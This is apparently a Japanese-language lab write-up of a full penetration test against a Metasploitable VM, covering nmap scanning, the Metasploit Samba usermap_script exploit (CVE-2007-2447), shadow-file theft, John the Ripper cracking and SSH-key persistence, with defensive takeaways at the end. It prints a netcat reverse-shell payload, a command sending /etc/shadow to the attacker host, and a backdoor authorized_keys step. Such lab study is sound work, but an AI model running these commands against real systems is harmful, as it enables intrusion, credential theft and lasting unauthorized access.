
Metasploitable に対する完全なペンテスト: nmap による偵察、Metasploit による悪用 (CVE-2007-2447)、認証情報の抽出とクラッキング、SSH 永続化
管理された隔離環境に対する実際の攻撃の完全なサイクル: ラボの準備、nmap による偵察、攻撃対象領域の優先順位付け、CVE へのマッピング、Metasploit によるエクスプロイト、ポストエクスプロイテーション、認証情報の抽出とクラッキング、そして SSH キー注入による永続化。

msfconsole、nmap、John the Ripper。192.168.64.0/24)。被害者 IP: 192.168.64.3。
何が露出しているかを正確に特定するためのバージョンスキャン — 脆弱性は抽象的なサービスではなく具体的なバージョンに影響する:
nmap -sV 192.168.64.3
| ポート | サービス | バージョン |
|---|---|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — 主な標的 |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |
12 のポートが開放されており、すべて旧式で悪用可能なバージョン。
最初に見つかったポートを攻撃するのではなく、標的を選ぶ前にサービスをリスクの種類ごとに分類した:
選択した標的: Samba 3.0.20-Debian — 文書化された重大な脆弱性を持つバージョン、Metasploit で利用可能なエクスプロイト、事前認証を必要としないコード実行を兼ね備える: 最大の信頼性で最大の影響を与える。
Nmap スクリプトエンジン(NSE)による正確なバージョンの確認:
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20 は CVE-2007-2447 に対して脆弱: パラメータ username map script が入力を検証しないため、攻撃者はユーザー名フィールドにシェルコマンドを直接注入できる。マッピングはログイン 前 に実行されるため、有効なユーザー名もパスワードも不要。

msfconsole

対応するモジュールの検索:
msf > search type:exploit samba

設定と実行:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
特権の即時確認 — この脆弱性は root への直接アクセスを与え、その後の権限昇格は不要:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

被害者のプロセスを調べると、注入したペイロード自体が実行されているのが確認できる:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
送信したユーザー名にはコマンド自体(/=`...`)が含まれていた: Samba はそれをサニタイズせずシェルに渡し、シェルは mkfifo でパイプを作成し、netcat で Kali への逆接続を開いて /bin/sh をそのパイプに接続した — リモートコード実行が完全に成立した。
netstat -tulnp による内部サービスの列挙: MySQL が 0.0.0.0:3306 で待ち受けているのが判明 — localhost だけでなくネットワーク上のすべてのマシンに露出していた。
被害者上でクラッキングを試みるのではなく(CPU を消費し、ノイズを生み、痕跡を残す)、ハッシュを抽出して Kali に転送し、オフラインで攻撃した:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

netcat 経由での転送と John the Ripper の準備:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John は自動的に 3 つのフェーズを実行する(ユーザー自身の情報を用いる single モード、辞書攻撃、増分ブルートフォース)。結果: 7 件中 6 件のパスワードをクラック。SSH、MySQL、FTP に再利用可能な認証情報も含まれていた。

クラックした認証情報を使い、正規ユーザーとして SSH で直接アクセス:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

ローテーションされる可能性のあるパスワードに依存しないため、独自の鍵ペアを生成して被害者の authorized_keys に追加した — パスワードの変更後も存続し、ブルートフォースのアラートを発生させないバックドア:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
その後はパスワードなしでアクセス:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0 に露出したデータベース、Telnet のようなレガシープロトコルが有効)。Telnet のような安全でないプロトコルの廃止、重要サービスとカーネル自体の更新、データベースの直接露出の制限、ネットワークセグメンテーションの適用、そして何よりも — パスワードのクラックがいかに容易だったかを踏まえ — 堅牢で、サービス間で再利用されない認証情報ポリシーの強制。本番環境でこの攻撃を防ぐであろう検知(異常な送信接続の監視、nc/リバースシェルへのアラート)と同じ種類のものが、私が防御側で取り組んでいる Home SOC Lab の内容だ。
攻撃前の優先順位付け — ポートを闇雲に試すのではなく、どのサービスが最も高い信頼性で最大の影響を与えるかを理解すること — が Samba へと直接つながった。ポストエクスプロイテーションのフェーズで、ps aux に注入されたコマンド自体が実行されているのを目にすることは、入力検証の脆弱性が なぜ システム全体の制御へと変わるのかを最もよく示している。そして SSH キーによる永続化は、一度侵入されれば攻撃者の目標は単に「アクセスを得る」ことではなく、それを静かに長期にわたって維持することであると明らかにする — 多層防御が単一の障壁に依存すべきではない理由は、まさにここにある。